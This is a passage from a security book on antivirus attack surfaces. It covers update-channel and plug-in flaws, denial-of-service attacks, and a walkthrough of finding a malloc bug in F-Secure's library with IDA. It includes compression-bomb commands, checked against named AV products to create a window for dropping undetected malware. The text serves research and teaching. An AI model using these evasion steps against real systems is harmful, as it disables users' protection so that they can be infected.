Update Services
Update services, along with disinfection routines, are less-researched areas of
common AV products. Nonetheless, update services still constitute an entry
point for remote attacks. To give you an example, imagine what happens when
an AV update service downloads its updates from an HTTP server without using
SSL or TLS, like most antivirus products do. In that case, if the update service
downloads a new executable file (such as a Windows PE executable or library),
the attacker may be able to intercept the traffic and serve malicious, modified,
or completely fake updates. The attacker would be able to use the update channel to subsequently install malware on the machine, which would be executed
in the context of the antivirus. In that case, the malicious code would receive
the special treatment of being executed as SYSTEM while being protected
by the antivirus shield, thus making it really difficult to detect and remove.
This vulnerability, via the update service channel, may look improbable at
first, but it exists in various antivirus products. One such bug, found in the
Russian Dr.Web antivirus product, is discussed in later chapters.
Browser Plug-ins
Browser plug-ins are installed for the most popular browsers by many antivirus
products to check the reputation of websites, URLs, and even the contents of
downloaded files to determine whether they are malicious. These components
are loaded in the context of the browser and are thus exposed to any attacker,
on the LAN or WAN, as long as the attacker manages to trick the user into visiting a web page that the attacker controls. If the browser plug-in contains one or
more vulnerabilities, they can be remotely exploited by the attacker, regardless
of whether the desktop machine is behind a firewall.
Bugs in antivirus browser plug-ins were common when ActiveX was popular.
Back then, many antivirus products developed small versions of their engines
that could be embedded as an ActiveX control in web pages that would be
rendered by Internet Explorer. By embedding the AV ActiveX in the browser,
users who had not installed an actual antivirus product were able to test-drive
that product. However, many such antivirus components were also vulnerable
to a plethora of attacks: buffer overflows and design issues were the most common weaknesses.
Part II ■ Antivirus Software Evasion
For example, versions 2010 and 2011 of F-Secure Anti-Virus distributed an
ActiveX component that was marked as safe for scripting and loadable in
Internet Explorer; however, it was prone to a heap overflow bug that allowed
attackers to gain code execution remotely. The vulnerability was discovered by
the Garage4Hackers group, who published an exploit at
Another bug with browser plug-ins is illustrated by the Kaspersky antivirus
ActiveX component AxKLSysInfo.dll, which was marked as safe for scripting
and thus loadable in Internet Explorer without warnings. This ActiveX control
enabled attackers to retrieve contents from FTP directories, thus, possibly allowing them to read information from FTP servers hidden behind firewalls. This
is an example of a design failure that affected browser plug-ins.
There are even worse examples of design failures, such as the Comodo Antivirus
ActiveX control. In 2008, this ActiveX exposed a function called ExecuteStr that,
effectively, executed an operating system command. All the attacker had to do
was to create a web page, embed the ActiveX control, and trick a user into visiting this web page with Internet Explorer. Then, because of this bug, the attacker
could execute any operating system command in the context of the browser.
This is just one serious vulnerability in an antivirus product, and it is not that
surprising to discover that similar bugs also affected other antivirus products.
Security Enhanced Software
Most antivirus products usually install other applications in addition to the
previously mentioned ones. Such applications, commonly labeled as “security
enhanced” applications, are of great interest because they also expose an attack
surface and aren’t typically carefully developed. Example security enhanced
applications are browsers created or modified by antivirus companies that are
especially recommended by the antivirus company to be used for banking and
other security critical usages where payments are made or money is involved in
another way. There are even weather applications installed by antivirus products
for which there is no other real purpose but to increase the attack surface with
bloated and unsecure software. There are even cases where antivirus products
install adware applications. This is the case, to name a few, of the free version
of Avira or any version of Kingsoft (as all of them are free).
Especially when talking about the Asian market and more specifically the
Chinese market, it’s common to find localized browsers; they are very popular.
For example, some antivirus products that install localized and security enhanced
browsers are Rising or Kingsoft. The former installs a browser that mimics
Internet Explorer with a Chinese user interface. However, it’s using the kernel
of Internet Explorer version 7, the browser doesn’t have any kind of sandbox,
and, to make it even more interesting for an exploit developer, various modules
Chapter 10 ■ Identifying the Attack Surface
used in this browser don’t have ASLR enabled. Naturally, this opens the door
to target not only the antivirus kernel, scanners, and so on but also the browser
installed by the security suite, which is set as the default browser and recommended by Rising as the default browser. With Kingsoft, it’s more curious, in
the sense of disastrously interesting. The company distributes a browser, also
localized in Chinese and called “Liebao” (the Chinese word for cheetah). This
browser is a modified version of an old Google Chrome version. The last time
I checked the browser, it made the following mistakes:
It disabled the sandbox for no reason.
It had many libraries without ASLR enabled that remain stable across
reboots (for example, kshmpg.dll or iblocker.dll).
It even installed a browser extension to take screenshots of your desktop!
Naturally, when one is determining how to attack an antivirus product, the
most interesting target nowadays is the browser, which most AVs install. Also,
remember that antivirus companies aren’t very security aware from an engineering
perspective and that these are secondary tools. These security enhanced browsers are not as carefully coded as, for example, the kernel (supposing the kernel
is carefully coded, which is not that obvious to determine as one may think).
This chapter discussed how to identify the attack surface of antivirus software.
The techniques learned in this chapter can be equally applied to find the attack
surface for any other software. Attack surfaces are categorized into two types:
local and remote.
The local attack surface is carried by a local user on the machine. The following is a short list of the types of local attack surfaces:
Local privilege escalation via misconfigured files or directories privileges—Take, for example, the SUID and SGID bits on UNIX systems.
Local denial-of-service attacks—These bombard the AV software with
requests that will eventually slow it down, overwhelm it, or completely
shut it down.
The lack or improper use of compiler and operating system provided
mitigations—On Windows, for instance, if the AV injects into processes
one of its protection modules and if that module does not support ASLR,
then each process becomes a candidate for malicious local attacks. Another
example is when the AV is compiled without DEP support. Both examples
make it easy to write a reliable exploit for the AV software in question.
Part II ■ Antivirus Software Evasion
Bugs in the kernel device drivers of AV software—If the AV uses a driver,
such as a filesystem filter or a self-protection driver, that communicates
with user-mode components via IOCTLs, improper handling of buffers
or logic bugs can lead to exploiting the device driver from user mode and
achieving system-level code execution.
Logical flaws resulting from programming or design errors—Such problems can lead to compromise. An example of that is when the AV has a
backdoor facility that can be used to disable the AV. Once the attacker
discovers this backdoor, he or she can use it during an attack. One point
to keep in mind is that nothing is hidden from reverse-engineers. They
will discover all secret backdoors eventually.
Wrong privileges on Windows objects—Windows provides an elaborate
system for setting ACLs on objects (mutex, events, thread objects, and so
on). AV developers have to make sure they protect their system objects
with the correct ACLs or else any unprivileged program, such a malware,
can interact with those objects.
The remote attack surface is carried by an attacker remotely, without local
access to the machine. Any component of the AV, exposed to wires or to untrusted
input coming from wires, could cause a security risk. The following components
constitute a viable remote attack vector:
Parsers for various file formats—Malicious files and documents, when
received by email, referenced via an img or iframe HTML tag or other
untrusted means, can trigger security bugs in the AV engine and lead to
compromise, as we have seen in previous chapters.
Generic detection and file disinfection code—When disinfecting files, the
AV will have to read and interpret bytes from the infected files in order
to disinfect. When that’s the case, bugs in the AV’s disinfection routines
can be triggered by the maliciously crafted infected files.
Network services, administration panels, and consoles—Administration
consoles and other web interfaces can be an entry point to your network.
If, for instance, the AV’s administration web interface executes privileged
commands on behalf of the user, and if due to a bug, the user can control
what command to pass to the web interface, then it is game over.
Browser plug-ins—AV software regularly installs browser plug-ins to add
protection when browsing the web. A simple example of a buggy browser
plug-in is when the plug-in can be interfaced with from JavaScript. The
attackers can trick you into visiting their website, where they then interface with the plug-in and issue arbitrary dangerous commands, leading
to compromise.
Chapter 10 ■ Identifying the Attack Surface
Firewalls, intrusion detection systems, and their various network protocol parsers—This attack is very similar to the file format parser attacks.
If there’s a bug in a certain protocol parser, the attacker will send malicious packets to your firewall and trigger bugs remotely.
Update services—As shown in Chapter 5, this is a serious attack vector
that has adverse effects.
Before we conclude this chapter, it is worthwhile noting that researching remote
attack surfaces is not superior to researching local attack surfaces. In fact, it is
compounding the attacks on top of each other that leads to successful attacks:
starting with a remote attack, getting inside the network, and then leveraging
a local attack to escalate privilege and fully own the attacked machine.
The next chapter will discusses the various types of denial-of-service attacks
and how they can be leveraged to completely cripple the AV or to disable it for
a window of time while the attack is taking place.
Denial of Service
Both local and remote denial-of-service (DoS) attacks against antivirus
software are possible; indeed, one of the most common attacks is aimed at
disabling AV protection. This chapter covers some common DoS vulnerabilities
and how to discover such bugs.
A DoS is an attack launched against software or against a machine running some software, with the aim of making the targeted software or machine
unavailable. Various types of DoS attacks can be carried out against an AV
program. For example, a typical DoS attack against AV software attempts to
disable the software or remove it from the machine that is being infected or that
has already been infected. Such an attack is important to the operation of the
malware; the attack ensures the malware’s persistence by preventing a future
antivirus update from removing or cleaning it.
DoS attacks that aim at disabling AV software are known as “antivirus killers.” They are implemented in malware as independent tools or modules that
know how to terminate known antivirus software by capitalizing on weaknesses
and vulnerabilities found using techniques discussed in this book. Most socalled DoS attacks that involve antivirus killers are incorrectly labeled as DoS,
because they require the attacker to have administrator privileges in the infected
machine in order to uninstall the antivirus software or disable the Windows
services of the corresponding antivirus solution. In the following sections, I
ignore such “attacks” and focus on true attacks: those that can be launched by
Part II ■ Antivirus Software Evasion
a local user with low-level privileges or remotely using any of the vectors that
are mentioned in previous chapters.
Local Denial-of-Service Attacks
A local denial of service is a DoS attack that can be launched only from the
same machine on which the targeted antivirus software is installed. There are
many different types of local DoS attacks, with the following ones being the
most common:
Compression bombs (also available remotely)
Bugs in file format parsers (also available remotely)
Attacks against kernel drivers
Attacks against network services (available remotely, although some
network services may only listen at the localhost IP address,
The following sections cover several of these local DoS bug categories, as well
as their implications from an attacker’s point of view.
Compression Bombs
A simple, well-known, and widely available local denial-of-service attack against
antivirus software is the compression bomb, also referred to as a zip bomb or
the “zip of death.” A compression bomb can be a compressed file with many
compressed files inside that, in turn, have many compressed files inside, and
so on. It can also be a really big file, in the order of gigabytes, that, when compressed, shrinks down to a very small ratio such as 10MB, 3MB, or 1MB. These
bugs can be considered DoS vulnerabilities, although their usefulness is limited.
Such bugs are practically immortal and can affect almost any antivirus software
for desktops, servers, network inspection, and so on.
Although compression bomb issues may be addressed and fixed for a
given compression file format such as ZIP and RAR, other file formats, such as
XAR, 7z, GZ, or BZ2, may be overlooked. In 2014, I performed a quick analysis
of some antivirus products and checked to see if they were affected by such
bugs. Figure 11-1 shows a table with the results of a one-day test.
An antivirus product, network inspection tool, or other tool affected by such
a bug can be disrupted for a number of seconds, minutes, or even forever if it
enters an infinite loop. Typically, this attack causes a temporary delay that opens
the window for a local attacker to do whatever he or she wants. For example, say
that an attacker wants to drop a file that is likely to be detected by the antivirus
Chapter 11 ■ Denial of Service
program onto the local disk. The attacker can first drop a compression bomb,
forcing the AV engine to scan the compression bomb, thus preventing the AV
engine from doing anything else while the file is being scanned. Meanwhile,
during the scan, the real malicious executable is dropped, executed, and removed.
This all happens during the time the antivirus service is analyzing the first file
that caused the compression bomb attack. Naturally, such an attack is an easy
way to temporarily disable the antivirus program and buy the attacker some
time to perform unrestrained actions.
Figure 11-1: Slide from the “Breaking AV Software” talk at SyScan 2014 showing an antivirus
program affected by the compression bombs bug
Creating a Simple Compression Bomb
In this section, you create a simple compression bomb using common standard
Unix and Linux tools. First you need to create a big zero-filled file with the
command dd:
dd if=/dev/zero bs=1024M count=1 > file
After creating this “dummy” file, you need to compress it. You can use any
compression tool and format, such as GZip or BZip2. The following command
creates a 2GB dummy file and then directly compresses it with BZip2, resulting
in a 1522-byte-long compressed file:
dd if=/dev/zero bs=2048M count=1 | bzip2 -9 > file.bz2
Part II ■ Antivirus Software Evasion
You can quickly check the resulting size by using the wc tool:
$ LANG=C dd if=/dev/zero bs=2048M count=1 | bzip2 -9 | wc -c
0+1 records in
0+1 records out
2147479552 bytes (2.1 GB) copied, 15.619 s, 137 MB/s
While this is a really simple compression bomb attack, you can
see how effective it is against several antivirus products by accessing
this VirusTotal report:
If you check this report, you will see that eight antivirus products correctly
identified it as a compression bomb. However, Comodo and McAfee-GW-Edition
displayed the watch icon, as shown in Figure 11-2.
Figure 11-2: VirusTotal results showing time outs in two antivirus programs
The watch icon means that the analysis timed out, so you know that
this attack could be performed against that antivirus program. However, the
previous example tested with BZip2. This time, try testing with another compressed file format, 7z. You can compress a 2GB dummy file into a 300KB 7z
format file with the following commands:
$ LANG=C dd if=/dev/zero bs=2048M count=1 > 2gb_dummy
$ 7z a -t7z -mx9 test.7z 2gb_dummy
Chapter 11 ■ Denial of Service
0+1 records in
0+1 records out
2147479552 bytes (2.1 GB) copied, 15.619 s, 137 MB/s
$ 7z a -t7z -mx9 test.7z 2gb_dummy
7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,8 CPUs)
Creating archive kk.7z
Compressing 2gb_dummy
Everything is Ok
$ du -hc test.7z
300K kk.7z
300K total
Now upload this file to VirusTotal to see which antivirus product, if any, is
In this case, only one antivirus product reported it as a possible compression
bomb (VBA32). Notice that Kaspersky timed out during the analysis. Cool! You
can use 7z to temporarily disable the Kaspersky antivirus program. Try one
more time with another file format: XZ. You can compress your dummy file
with the XZ file format using 7z as follows:
$ 7z a -txz -mx9 test.xz 2gb_dummy
This time, a different set of antivirus products—Symantec and Zillya—times out,
as you can see in the following report from VirusTotal:
Also, note that no antivirus software reported it as a compression bomb at
all. What if you create a compressed XAR file, a kind of obscure file format,
with an 8GB dummy file inside? I tried to upload it to VirusTotal but it failed,
every time I tried, at the final analysis steps, as shown in Figure 11-3. I’m curious about why):
Figure 11-3: VirusTotal error message trying to analyze a 32GB dummy file compressed
with XAR
Part II ■ Antivirus Software Evasion
I manually tested this very same archive against some antivirus products, and
it worked against Kaspersky, causing it to time out. Also, note that Kaspersky
creates temporary files when analyzing compressed archive files. Do you want
to create a 32GB temporary file on the target’s machine? This should give you
an idea of what you can do—although note that the compressed file is bigger
than the previous ones (8GB).
Bugs in File Format Parsers
Chapter 8 described how bugs in file format parsers are common in antivirus
software; we elaborate more about that in this section. Such bugs can be used
as a reliable way to disable an antivirus scanner either locally or remotely. Even
a trivial null pointer dereference or a divide-by-zero can be useful because,
depending on the antivirus product, it can kill the antivirus scanner service,
effectively disabling it until the service is restarted. The antivirus service is
usually restarted by some kind of watchdog software (if the antivirus has this
feature) or when the machine is restarted.
File format parser bugs can also be used locally to prevent an antivirus scanner from detecting malware. A non-trivial example of this is when the malware
drops a malformed file that is known to trigger the bug in the antivirus file
parser and cause it to die or become stuck (for example, an infinite loop). In
that case, the malformed file is used first in the attack to sabotage the antivirus
program prior to mounting the real attack, which will go undetected. This is one
of the many low-risk bugs that can be used for disabling an antivirus program.
Practically speaking, this trick can be easily applied against older versions of
ClamAV (versions prior to 0.98.3) to cause an infinite loop when processing icons
inside a PE file’s resource directory: a number like 0xFFFFFFFF of icons inside
the resource directory will make ClamAV loop forever.
Here is another easier example of how to implement a file format bug. Imagine
you have two files with the following path structure:
With this structure, the antivirus program scans the base directory, starting
with the first file that triggers the parsing bug; the AV scanner may crash or
enter an infinite loop, depending on the parsing bug. The AV program will no
longer have a chance to enter the subdirectory to scan the real malware, and
thus it will remain undetected. Similarly, as another example of this kind of bug,
a malware program can prevent the file from being detected by the antivirus
scanner by embedding the file, instead of putting it in the same directory, thus
abusing a file format bug. (It will embed the file in the resource directory of a
PE file, in the overlay, or even directly in some section of a PE, ELF, or MachO
file.) This will not interfere with the malware’s program execution and will
effectively prevent the antivirus scanner from detecting it.
Chapter 11 ■ Denial of Service
Attacks against Kernel Drivers
Other typical examples of local DoS attacks against antivirus products are those
focused on kernel driver vulnerabilities. Most antivirus products for Windows
deploy kernel drivers that can be used to protect the antivirus program from
being killed, to prevent a debugger from attaching to their services, to install a
filesystem filter driver for real-time file scanning, or to install an NDIS mini-filter
to analyze the network traffic. If the kernel driver has any bugs and a local user
can communicate with it and trigger the bug, a local attacker can cause a kernel
Bug Check (typically called blue screen of death, or BSOD), which effectively
shuts down or reboots the machine. Most typical vulnerabilities discovered in
kernel drivers are I/O Control Codes (IOCTLs) for which the received arguments
are not correctly checked or validated, if at all.
These tricks are a useful way, for example, to reboot the machine after
performing some action without asking the user for confirmation or requiring
high-level privileges. They can also be used in a multistage exploit. A hypothetical, yet possible, scenario follows:
1. An attacker abuses a vulnerability that allows one of the following: a file
to be copied to a user’s Startup directory, a bug that allows a driver to
be installed, or a bug that allows a library to be copied in a location that
will later be picked up and loaded in the address space of high-privileged
processes after rebooting.
2. The attacker then uses a kernel driver bug to force the machine to reboot
so that the changes take effect.
Local DoS vulnerabilities in antivirus kernel drivers are very prolific; a
few vulnerabilities appear each year, affecting a wide range of antivirus products
from the most popular to the less known. Some example vulnerabilities with
proofs-of-concepts from previous years can be found on the www.exploit-db
.com website, as shown in Figure 11-4.
Figure 11-4: Proofs-of-concepts exploiting DoS bugs
Part II ■ Antivirus Software Evasion
Remote Denial-of-Service Attacks
Remote DoS vulnerabilities can also be discovered in antivirus products, as in
any other software with a remote surface that is exposed. A remote denial of
service is a DoS attack that can be launched remotely, targeting the antivirus
software installed in the victim’s computer. There are many possible remote
DoS attack vectors, with the following being the most common:
Compression bombs, as in the case of local denial of services
Bugs in file format parsers, as in the case of local denial of services
Bugs in network protocol parsers
Attacks against antivirus network services that listen to network interfaces
other than the loopback network interface (localhost IP address,
I discuss some of these attack vectors and how they can be used remotely in
the following sections.
Compression Bombs
As in the case of a local DoS, you can use compression bombs to temporarily
disable antivirus software remotely. Depending on the antivirus software product
and email clients, here is how a remote DoS attack can take place:
1. An attacker sends an email to a target email box with a compression bomb
2. As soon as the email is received, the antivirus software analyzes the file.
3. Immediately after sending the previous email, the attacker sends another
one with a piece of malware.
4. While the antivirus product is still analyzing the previous file (the compression bomb), the unsuspecting user opens the attachment in the second
email, which the attacker sent, and becomes infected.
Naturally, this attack scenario depends on how each antivirus product and
email client behaves. Some antivirus products, but not all, block until each email
is fully scanned. However, because this gives the user the impression that his
or her email is slow, many antivirus products do not block the user. Again, it
depends on both the antivirus and email client software, as some email clients
will launch synchronous processes to analyze the email attachments for malicious content (blocking the email client for as long as the antivirus scanner takes
to analyze the compression bomb).
Chapter 11 ■ Denial of Service
Bugs in File Format Parsers
Many antivirus products come with heuristics for exploit prevention. Such
technologies can be implemented in many ways, but they usually focus on
office suite and browser software. A bug in an antivirus file format parser can
be exploited remotely, using a browser. Here is an example scenario to illustrate
this type of attack:
1. The attacker creates a malicious web page that somehow fingerprints the
antivirus software. Alternatively, it may simply target one or more specific
antivirus products without first fingerprinting.
2. If a vulnerable antivirus is detected, the attacker server sends a web
page with an iframe pointing to a file that causes a crash in the antivirus scanner, effectively disabling it. Alternatively, when fingerprinting
techniques are not used, the malicious web page may try to serve all the
malformed pages that crash the entire supported list of antiviruses, one
by one, until the specific antivirus belonging to the user crashes.
3. After a few seconds, or when some event happens, the malicious web page
executes a piece of JavaScript exploiting a vulnerability in the browser.
4. Because the antivirus program was disabled via a DoS bug for a file format
parser, the exploitation process is not detected, and so the targeted user
is infected.
This attack is very likely to be used in a real scenario. However, there is no
publicly known exploit or malware using it so far.
This chapter covered various DoS vulnerabilities and how to discover them
and use them against antivirus. A typical local DoS attack against antivirus
software is one that is launched with low privileges, escalates privileges, and
then attempts to disable the software or uninstall it from the machine that is
being infected or that has already been infected. On the other hand, a typical
remote DoS attack against antivirus software is one that is targeting its remotely
accessible services—those that can be reached from the outside without first
having local access. An example of that is when the attacker sends a malicious
email to the target or uses social engineering to persuade the target to visit a
malicious website.
Part II ■ Antivirus Software Evasion
The following different kinds of local and remote DoS attacks were described
in this chapter:
Compression bombs—These are also known as a “zip of death.” A simple
compression bomb attack involves a file that is highly compressible, that
when unpacked may consume hundreds of megabytes of memory if not
gigabytes. This naturally would cause the AV to become busy, thus creating
a small window of time where the real malware can slip in undetected.
This kind of attack can affect almost any kind of antivirus.
Bugs in file format parsers—These bugs, even when as trivial as a divideby-zero, a null pointer dereference, or a format parsing bug leading to an
infinite loop, can cause the antivirus service or scanner to crash, giving
the attacker a chance to carry out a temporary attack during the time the
antivirus’s watchdog has not yet restarted the crashed services.
Attacks against kernel drivers—Kernel drivers, such as filesystem filter
drivers, network filter drivers, or other kernel components of an antivirus, may contain logic or design bugs that can lead to exploitation. If this
is the case, then the attacker is able to execute code from kernel mode
with the highest privilege.
Attacks against network services—All of the previously mentioned attacks
could be carried remotely as well. A network service, such as an email
gateway, can be exploited if it contains file format parser bugs. Similarly,
an email containing a compression bomb can be sent to the targeted
recipients, which will be intercepted by the email gateway, leading to a
DoS attack and perhaps causing a crash in that service.
The next chapter discusses research methodology and static analysis techniques pertaining to antivirus software in order to fi nd bugs, weaknesses,
design flaws, and other relevant information that help you understand how the
antivirus works and how to evade it.
Par t
Analysis and Exp
In This Part
Chapter 12: Static Analysis
Chapter 13: Dynamic Analysis
Chapter 14: Local Exploitation
Chapter 15: Remote Exploitation
Staticc Analysis
Static analysis is a research method used to analyze software without actually
executing it. This method involves extracting all the information relevant to the
analysis (such as finding bugs) using static means.
Analyzing code with static analysis is often done by reading its source code
or the corresponding assembly in the case of closed-source products. Although
this is, naturally, the most time-consuming technique used to analyze a piece
of software, it offers the best results overall, because it forces the analyst to
understand how the software works at the lower levels.
This chapter discusses how you can use static analysis techniques to discover
vulnerabilities in antivirus software. It focuses on the de facto tool for static
analysis, IDA.
Performing a Manual Binary Audit
Manual binary auditing is the process of manually analyzing the assembly
code of the relevant binaries from a software product in order to extract artifacts from it. As an example, this chapter shows you how to manually audit an
old version of F-Secure Anti-Virus for Linux with the aim of discovering some
vulnerability that you could exploit remotely, such as a bug in the file format
parsers. Fortunately for reverse-engineers, this antivirus product comes with
symbolic information, which makes the static analysis audit easier.
Part III ■ Analysis and Exploitation
When you have symbolic information either because the program database
(PDB) files were present for a Windows application or because the DWARF
debugging information was embedded in Unix applications, you can simply
skip analyzing all those exported functions. This allows you to avoid reverseengineering them and losing many precious work hours. If there is not enough
symbolic information, especially about standard library functions (those found
in the C runtime [CRT] library or LIBC, such as malloc, strlen, memcpy, and
so on), then you can rely on IDA’s “Fast Library Identification and Recognition
Technology” (also known as FLIRT) to discover the function names for you.
Often, even without having any symbols, it is possible to deduce what a certain
function does by formulating a quick understanding of its general algorithms
and purpose. As an example of the latter, I managed to avoid reverse-engineering
a set of functions because I could directly identify them as being related to the
RSA algorithm.
File Format Parsers
For experimentation and demonstration purposes, this chapter uses the antivirus
product F-Secure Anti-Virus for Linux. After installing this product, you will
have a few folders in the /opt/f-secure directory:
$ ls -l /opt/f-secure/
total 12
drwxrwxr-x 5 root root 4096 abr 19
drwxr-xr-x 3 root root 4096 abr 19
drwxrwxr-x 10 root root 4096 abr 19
2014 fsaua
2014 fsav
2014 fssp
From this directory listing, you might guess that the prefix fs means F-Secure
and the prefix av means antivirus. If you take a look inside the second directory,
you will discover that it contains almost exclusively symbolic links:
$ ls -l /opt/f-secure/fsav/bin/
total 4
lrwxrwxrwx 1 root root 48 abr 19 2014 clstate_generator ->
lrwxrwxrwx 1 root root 45 abr 19 2014 clstate_update ->
lrwxrwxrwx 1 root root 49 abr 19 2014 clstate_updated.rc ->
lrwxrwxrwx 1 root root 39 abr 19 2014 dbupdate ->
lrwxrwxrwx 1 root root 44 abr 19 2014 dbupdate_lite ->
lrwxrwxrwx 1 root root 35 abr 19 2014 fsav ->
lrwxrwxrwx 1 root root 37 abr 19 2014 fsavd ->
lrwxrwxrwx 1 root root 37 abr 19 2014 fsdiag ->
Chapter 12 ■ Static Analysis
lrwxrwxrwx 1 root root 42 abr 19 2014 licensetool ->
-rwxr--r-- 1 root root 291 abr 19 2014 uninstall-fsav
Because of where the symbolic links point, it seems that the interesting
directory is fssp:
$ ls -l /opt/f-secure/fssp/
total 32
drwxrwxr-x 2 root root 4096
drwxrwxr-x 2 root root 4096
drwxrwxr-x 2 root root 4096
drwxrwxr-x 3 root root 4096
drwxrwxr-x 2 root root 4096
drwxrwxr-x 2 root root 4096
drwxrwxr-x 2 root root 4096
drwxrwxr-x 2 root root 4096
Great! This directory includes the databases, the programs’ directories (bin
and sbin), some library directories (lib and libexec), the man pages, and the
modules directory. Take a look at the lib directory and see if you can discover
a library or set of libraries with the code-handling file formats:
$ ls -l /opt/f-secure/fssp/lib
total 3112
-rw-r--r-- 1 root root
-rwxr-xr-x 1 root root 252111
-rw-r--r-- 1 root root
-rwxr-xr-x 1 root root 244324
-rwxr-xr-x 1 root root 123748
-rwxr-xr-x 1 root root 1606472
lrwxrwxrwx 1 root root
lrwxrwxrwx 1 root root
-rwxr-xr-x 1 root root
lrwxrwxrwx 1 root root
-rwxr-xr-x 1 root root
lrwxrwxrwx 1 root root
-rwxr-xr-x 1 root root
lrwxrwxrwx 1 root root
-rw-r--r-- 1 root root
lrwxrwxrwx 1 root root
lrwxrwxrwx 1 root root
fssp-common ->
abr 19
2014 ->
ene 30
abr 19
2014 ->
ene 30
abr 19
2014 ->
ene 30
abr 19
2014 ->
nov 19
abr 19
2014 ->
abr 19
2014 ->
Part III ■ Analysis and Exploitation
-rwxr-xr-x 1 root root
lrwxrwxrwx 1 root root
lrwxrwxrwx 1 root root
-rwxr-xr-x 1 root root
-rwxr-xr-x 1 root root
-rwxr-xr-x 1 root root
lrwxrwxrwx 1 root root
-rwxr-xr-x 1 root root
-rw-rw-r-- 1 root root
-rw-r--r-- 1 root root
lrwxrwxrwx 1 root root
lrwxrwxrwx 1 root root
-rw-rw-r-- 1 root root
drwxrwxr-x 2 root root
309724 may 21
20 abr 19
2014 ->
17 abr 19
2014 ->
ene 30
ene 30
sep 5
abr 19
2014 ->
sep 5
ene 23
nov 26
abr 19
libosid ->
21 abr 19
2696 ene 23
4096 abr 19
2014 ->
2014 safe_rm
2014 x86_64
There are many libraries, but one of them should catch your attention because
it is bigger than the other ones: Run the command nm -B to determine
whether you have an interesting symbol:
$ LANG=C nm -B /opt/f-secure/fssp/lib/
nm: /opt/f-secure/fssp/lib/ no symbols
It seems there is no symbol. However, you may have another interesting
source of symbolic information: the list of exported symbols. This time, run
the readelf -Ws command:
$ LANG=C readelf -Ws | more
Symbol table '.dynsym'
Value Size
0: 00000000
1: 00042354
2: 0004a0ac
3: 001331f0
4: 00133220
5: 00139820
6: 00139828
7: 00161aa4
8: 00169098
9: 001690a0
10: 001690a8
11: 001690c0
12: 0016c280
13: 00187120
contains 3820 entries:
Ndx Name
Chapter 12 ■ Static Analysis
14: 000d29dc
364 FUNC
15: 0006e034
415 FUNC
16: 000bd8b0
17: 00000000
130 FUNC
[email protected]_1.3 (2)
18: 00000000
136 FUNC
[email protected]_1.3 (2)
19: 0006f21c
647 FUNC
20: 000e42c6
399 FUNC
21: 000e0ce8
10 _ZN10FMapiTableD2Ev
22: 000a8a6c
163 FUNC
Wow! This reveals a lot of symbols (3,820 entries according to readelf). The
symbol names are mangled, but IDA can show them unmangled. Having such
a large number of symbols will definitely make it easier to reverse-engineer this
library. To begin, filter the results to determine whether this library is the one
responsible for parsing file formats, unpacking compressed files, or performing
other relevant tasks:
$ LANG=C readelf -Ws | egrep -i "(packer|compress|gzip|bz2)"
| more
19: 0006f21c
647 FUNC
41: 000af770
47: 000ae0c8
55: 000a2ae8
169 FUNC
59: 000b1b04 7 FUNC
75: 000adff4
78: 000a5724 54 FUNC
83: 00134878 15 OBJECT WEAK
DEFAULT 12 _ZTS12FmUnpacker7z
84: 000a15d8 54 FUNC
GLOBAL DEFAULT 10 packerGetFileStat
94: 000adba4
122: 000a1948 7 FUNC
Part III ■ Analysis and Exploitation
Bingo! It seems that the code for compressed file formats, packers, and so
on is implemented in this library. Launch IDA and open this library. After the
initial auto-analysis, the Functions window is populated with the unmangled
names, as shown in Figure 12-1.
Figure 12-1: The library opened in IDA Pro
As you can see in the list of functions on the left side, a lot of functions have
useful names, but what is the next step? Typically, when I begin a new project
with the aim of discovering vulnerabilities, I start by finding the interesting
memory management functions of the application (malloc, free, and similar
functions) and start digging from that point. On the left side, in the Functions
window, click the Function Name header to sort the function listings by name,
and then search for the first match for a function containing the word malloc. In this example, two listings have the name FMAlloc(uint). One is the
thunk function and the other is the actual function implementation. The
function implementation is referenced by the thunk function and the Global
Chapter 12 ■ Static Analysis
Object Table (GOT), while the thunk function is referenced by the rest of the
program. Click the X key on the thunk function to show its cross references,
as shown in Figure 12-2.
Figure 12-2: Find the code references to FMAlloc(uint).
You have a total of 248 code references to this function, which is effectively
a malloc wrapper function. It is now time to analyze the function FMAlloc to
see how it works.
By looking at FMAlloc’s disassembly, you can see that it starts by checking
to see whether some global pointer is not NULL. This function is used to get a
pointer to the LIBC’s function malloc:
.text:0004D76C ; _DWORD __cdecl FMAlloc(size_t n)
public _Z7FMAllocj
.text:0004D76C _Z7FMAllocjproc near ; CODE XREF: FMAlloc(uint)j
.text:0004D76C n
= dword ptr 8
push ebp
ebp, esp
push edi
push esi
push ebx
esp, 0Ch
Part III ■ Analysis and Exploitation
ebx, 11CBAEh
eax, ds:(g_fileio_ptr - 16A328h)[ebx]
; My guess is that it's returning a pointer to "malloc".
eax, [eax+24h]
; Is the pointer to malloc NULL?
eax, eax
edi, [ebp+n]
short loc_4D7B0
If the function pointer returned in 0x4d787 is not NULL, it continues normally
with the next instruction; otherwise, the branch to 0x4D7B0 is taken. If you
follow this jump, you discover the following code:
.text:0004D7B0 loc_4D7B0: ;
.text:0004D7D0 _Z7FMAllocj
CODE XREF: FMAlloc(uint)+23j
esp, 0Ch
; size
esp, 0Ch
; n
; c
; s
esi, eax
esp, [ebp-0Ch]
eax, esi
This part of the code allocates memory as much as specified by the arguments
the function receives (the size is stored in the EDI register) at 0x4D7B3. Then, it
calls memset over the function pointer returned by malloc to initialize the buffer
to 0x00s. There are at least two bugs here. The first one is that there is not a check
for invalid allocation sizes given to the malloc function. You can pass -1, which
is translated to 0xFFFFFFFF in a 32-bit application or 0xFFFFFFFFFFFFFFFF in a
64-bit application, and it tries to allocate 4GB in 32-bit or 16EiB (exbibytes) in
64-bit platforms. Obviously, it simply fails because that is the maximum virtual
memory range that can be addressed. You can also pass zero, which returns a
valid pointer, but any attempt to write anything to that allocated memory risks
corrupting the heap metadata or other previously allocated memory blocks.
Chapter 12 ■ Static Analysis
The second bug is even easier to spot: there is no check at all after the
malloc call to determine whether it failed. So, if you can pass an invalid size
(such as –1), it causes the malloc function to fail (by returning a null pointer).
Then, FMAlloc continues by calling memset to clear the newly allocated memory pointer. This entire function call is then equivalent to memset(nullptr,
0x00, size_t(-1)), resulting in an access violation exception or a segfault
(segmentation fault).
Okay, so you discovered your first bug in the F-Secure library.
What is your next step? It is time to discover whether the function FMAlloc
is called with unsanitized input that is user controlled. The input can come
from reading an input file, while parsing its format, and then some fields are
